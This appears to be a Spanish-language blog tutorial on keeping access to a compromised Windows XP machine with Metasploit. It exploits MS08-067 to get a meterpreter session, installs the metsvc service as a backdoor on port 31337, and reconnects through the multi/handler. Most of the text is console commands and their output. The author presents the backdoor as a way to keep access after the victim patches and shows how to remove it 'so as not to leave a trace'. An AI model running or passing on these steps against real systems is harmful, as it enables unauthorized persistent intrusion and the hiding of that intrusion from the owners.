Primero, necesitamos una sesión de meterpreter en el sistema remoto.
_
| | o
_ _ _ _ _|_ __, , _ | | __ _|_
/ |/ |/ | |/ | / | / _|/ _|/ / _| |
| | |_/|__/|_/_/|_/ / |__/ |__/__/ |_/|_/
/|
|
=[ metasploit v3.3.4-dev [core:3.3 api:1.0]
+ -- --=[ 489 exploits - 225 auxiliary
+ -- --=[ 192 payloads - 23 encoders - 8 nops
=[ svn r8074 updated today (2010.01.05)
msf > use exploit/windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > set RHOST 172.16.83.128
RHOST => 172.16.83.128
msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/bind_tcp
PAYLOAD => windows/meterpreter/bind_tcp
msf exploit(ms08_067_netapi) > set LHOST 172.16.83.1
LHOST => 172.16.83.1
msf exploit(ms08_067_netapi) > exploit
[*] Started bind handler
[*] Automatically detecting the target...
[*] Fingerprint: Windows XP Service Pack 3 - lang:English
[*] Selected Target: Windows XP SP3 English (NX)
[*] Triggering the vulnerability...
[*] Sending stage (723456 bytes)
[*] Meterpreter session 3 opened (172.16.83.1:54745 -> 172.16.83.128:4444)
meterpreter >Una vez conseguida, ejecutamos metsrv, que instalará como servicio un servidor de meterpreter en el host remoto.
meterpreter > run metsvc
[*] Creating a meterpreter service on port 31337
[*] Creating a temporary installation directory C:WINDOWSTEMPHdOFwlxzpobWuh...
[*] >> Uploading metsrv.dll...
[*] >> Uploading metsvc-server.exe...
[*] >> Uploading metsvc.exe...
[*] Starting the service...
* Installing service metsvc
* Starting service
Service metsvc successfully installed.Ahora, si queremos, podemos reiniciar el sistema remoto, aunque el servicio ya está corriendo.
meterpreter > reboot
Rebooting...
meterpreter >Ahora, cuando se reinicie el host remoto, vamos a conectarnos al servicio de meterpreter que acabamos de instalar.
Para ello, usaremos el handler para que nos porte el exploit windows/metsvc_bind_tcp, lo configuraremos y nos conectaremos, como haré yo.
msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/metsvc_bind_tcp
PAYLOAD => windows/metsvc_bind_tcp
msf exploit(handler) > show options
Module options:
Name Current Setting Required Description
---- --------------- -------- -----------
Payload options (windows/metsvc_bind_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique: seh, thread, process
LPORT 4444 yes The local port
RHOST no The target address
Exploit target:
Id Name
-- ----
0 Wildcard Target
msf exploit(handler) > set LPORT 31337
LPORT => 31337
msf exploit(handler) > set RHOST 172.16.83.128
RHOST => 172.16.83.128
msf exploit(handler) > exploit
[*] Starting the payload handler...
[*] Started bind handler
[*] Meterpreter session 1 opened (172.16.83.1:42050 -> 172.16.83.128:31337)
meterpreter >Y ya está! Esto nos viene bien por si el host remoto aplica un parche que corrija sus vulnerabilidades.
Aunque parchee el sistema, nosotros tendremos acceso a su sistema a través de ese backdoor.
Y si queremos desinstar el metsvc en el host remoto para no dejar rastro, tan sólo tenemos que ejecutar metsvc -r en nuestra sesión de meterpreter.
meterpreter > run metsvc -r
[*] Removing the existing Meterpreter service
[*] Creating a temporary installation directory C:WINDOWSTEMPQQqawIYOjLq...
[*] >> Uploading metsvc.exe...
[*] Stopping the service...
* Stopping service metsvc
* Removing service
Service metsvc successfully removed.
meterpreter >
Comentarios